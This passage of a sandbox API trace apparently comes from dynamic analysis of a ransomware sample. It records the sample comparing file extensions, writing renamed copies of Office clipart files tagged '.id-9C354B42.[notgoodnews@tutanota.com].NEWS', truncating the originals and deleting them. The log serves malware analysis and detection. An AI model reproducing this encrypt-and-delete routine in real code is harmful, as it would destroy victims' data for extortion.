(lpString=".pdf") returned 4 [0241.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.505] lstrlenW (lpString=".xls") returned 4 [0241.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.506] lstrlenW (lpString=".xlsx") returned 5 [0241.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.506] lstrlenW (lpString=".ppt") returned 4 [0241.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.506] lstrlenW (lpString=".zip") returned 4 [0241.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.506] lstrlenW (lpString=".rar") returned 4 [0241.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.506] lstrlenW (lpString=".bz2") returned 4 [0241.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.506] lstrlenW (lpString=".7z") returned 3 [0241.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.506] lstrlenW (lpString=".dbf") returned 4 [0241.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.507] lstrlenW (lpString=".1cd") returned 4 [0241.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.507] lstrlenW (lpString=".jpg") returned 4 [0241.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.508] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0241.508] lstrlenW (lpString="AN04195_.WMF") returned 12 [0241.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0241.509] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4612) returned 1 [0241.509] CloseHandle (hObject=0x370) returned 1 [0241.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0241.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0241.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0241.510] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0241.510] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0241.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0241.525] GetLastError () returned 0x0 [0241.526] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1204, lpOverlapped=0x0) returned 1 [0241.554] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1210, lpOverlapped=0x0) returned 1 [0241.558] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0241.558] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.558] SetEndOfFile (hFile=0x35c) returned 1 [0241.558] CloseHandle (hObject=0x35c) returned 1 [0241.962] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0241.962] SetEndOfFile (hFile=0x370) returned 1 [0241.971] CloseHandle (hObject=0x370) returned 1 [0241.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0242.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.035] lstrlenW (lpString=".doc") returned 4 [0242.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.035] lstrlenW (lpString=".docx") returned 5 [0242.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.035] lstrlenW (lpString=".pdf") returned 4 [0242.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.035] lstrlenW (lpString=".xls") returned 4 [0242.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.036] lstrlenW (lpString=".xlsx") returned 5 [0242.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.036] lstrlenW (lpString=".ppt") returned 4 [0242.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.036] lstrlenW (lpString=".zip") returned 4 [0242.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.037] lstrlenW (lpString=".rar") returned 4 [0242.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.037] lstrlenW (lpString=".bz2") returned 4 [0242.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.037] lstrlenW (lpString=".7z") returned 3 [0242.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.038] lstrlenW (lpString=".dbf") returned 4 [0242.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.038] lstrlenW (lpString=".1cd") returned 4 [0242.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.046] lstrlenW (lpString=".jpg") returned 4 [0242.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.047] lstrlenW (lpString=".doc") returned 4 [0242.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.047] lstrlenW (lpString=".docx") returned 5 [0242.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.048] lstrlenW (lpString=".pdf") returned 4 [0242.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.048] lstrlenW (lpString=".xls") returned 4 [0242.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.048] lstrlenW (lpString=".xlsx") returned 5 [0242.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.048] lstrlenW (lpString=".ppt") returned 4 [0242.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.049] lstrlenW (lpString=".zip") returned 4 [0242.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.049] lstrlenW (lpString=".rar") returned 4 [0242.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.049] lstrlenW (lpString=".bz2") returned 4 [0242.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.050] lstrlenW (lpString=".7z") returned 3 [0242.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.050] lstrlenW (lpString=".dbf") returned 4 [0242.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.050] lstrlenW (lpString=".1cd") returned 4 [0242.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0242.051] lstrlenW (lpString=".jpg") returned 4 [0242.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.196] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0242.196] lstrlenW (lpString="AN04235_.WMF") returned 12 [0242.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.356] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=7804) returned 1 [0242.356] CloseHandle (hObject=0x3a4) returned 1 [0242.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0242.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.430] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.430] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.431] GetLastError () returned 0x0 [0242.431] ReadFile (in: hFile=0x338, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0242.515] WriteFile (in: hFile=0x384, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0242.518] ReadFile (in: hFile=0x338, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0242.518] WriteFile (in: hFile=0x384, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.519] SetEndOfFile (hFile=0x384) returned 1 [0242.519] CloseHandle (hObject=0x384) returned 1 [0242.520] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.520] SetEndOfFile (hFile=0x338) returned 1 [0242.528] CloseHandle (hObject=0x338) returned 1 [0242.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0242.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.530] lstrlenW (lpString=".doc") returned 4 [0242.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.530] lstrlenW (lpString=".docx") returned 5 [0242.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.530] lstrlenW (lpString=".pdf") returned 4 [0242.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.531] lstrlenW (lpString=".xls") returned 4 [0242.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.531] lstrlenW (lpString=".xlsx") returned 5 [0242.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.531] lstrlenW (lpString=".ppt") returned 4 [0242.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.531] lstrlenW (lpString=".zip") returned 4 [0242.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.531] lstrlenW (lpString=".rar") returned 4 [0242.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.532] lstrlenW (lpString=".bz2") returned 4 [0242.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.532] lstrlenW (lpString=".7z") returned 3 [0242.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.532] lstrlenW (lpString=".dbf") returned 4 [0242.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.532] lstrlenW (lpString=".1cd") returned 4 [0242.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.532] lstrlenW (lpString=".jpg") returned 4 [0242.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.533] lstrlenW (lpString=".doc") returned 4 [0242.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.533] lstrlenW (lpString=".docx") returned 5 [0242.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.533] lstrlenW (lpString=".pdf") returned 4 [0242.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.533] lstrlenW (lpString=".xls") returned 4 [0242.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.533] lstrlenW (lpString=".xlsx") returned 5 [0242.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.534] lstrlenW (lpString=".ppt") returned 4 [0242.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.534] lstrlenW (lpString=".zip") returned 4 [0242.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.534] lstrlenW (lpString=".rar") returned 4 [0242.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.534] lstrlenW (lpString=".bz2") returned 4 [0242.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.534] lstrlenW (lpString=".7z") returned 3 [0242.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.535] lstrlenW (lpString=".dbf") returned 4 [0242.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.535] lstrlenW (lpString=".1cd") returned 4 [0242.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0242.535] lstrlenW (lpString=".jpg") returned 4 [0242.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.535] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0242.536] lstrlenW (lpString="AN04326_.WMF") returned 12 [0242.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.537] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3348) returned 1 [0242.537] CloseHandle (hObject=0x338) returned 1 [0242.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0242.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.538] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.538] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.539] GetLastError () returned 0x0 [0242.539] ReadFile (in: hFile=0x338, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xd14, lpOverlapped=0x0) returned 1 [0242.545] WriteFile (in: hFile=0x384, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xd20, lpOverlapped=0x0) returned 1 [0242.548] ReadFile (in: hFile=0x338, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0242.548] WriteFile (in: hFile=0x384, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.548] SetEndOfFile (hFile=0x384) returned 1 [0242.549] CloseHandle (hObject=0x384) returned 1 [0242.549] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.549] SetEndOfFile (hFile=0x338) returned 1 [0243.011] CloseHandle (hObject=0x338) returned 1 [0243.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0243.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0243.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.215] lstrlenW (lpString=".doc") returned 4 [0243.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.215] lstrlenW (lpString=".docx") returned 5 [0243.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.215] lstrlenW (lpString=".pdf") returned 4 [0243.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.216] lstrlenW (lpString=".xls") returned 4 [0243.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.216] lstrlenW (lpString=".xlsx") returned 5 [0243.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.216] lstrlenW (lpString=".ppt") returned 4 [0243.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.216] lstrlenW (lpString=".zip") returned 4 [0243.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.216] lstrlenW (lpString=".rar") returned 4 [0243.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.216] lstrlenW (lpString=".bz2") returned 4 [0243.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.216] lstrlenW (lpString=".7z") returned 3 [0243.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.217] lstrlenW (lpString=".dbf") returned 4 [0243.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.217] lstrlenW (lpString=".1cd") returned 4 [0243.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.217] lstrlenW (lpString=".jpg") returned 4 [0243.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.217] lstrlenW (lpString=".doc") returned 4 [0243.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.218] lstrlenW (lpString=".docx") returned 5 [0243.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.218] lstrlenW (lpString=".pdf") returned 4 [0243.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.218] lstrlenW (lpString=".xls") returned 4 [0243.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.218] lstrlenW (lpString=".xlsx") returned 5 [0243.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.218] lstrlenW (lpString=".ppt") returned 4 [0243.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.218] lstrlenW (lpString=".zip") returned 4 [0243.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.218] lstrlenW (lpString=".rar") returned 4 [0243.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.219] lstrlenW 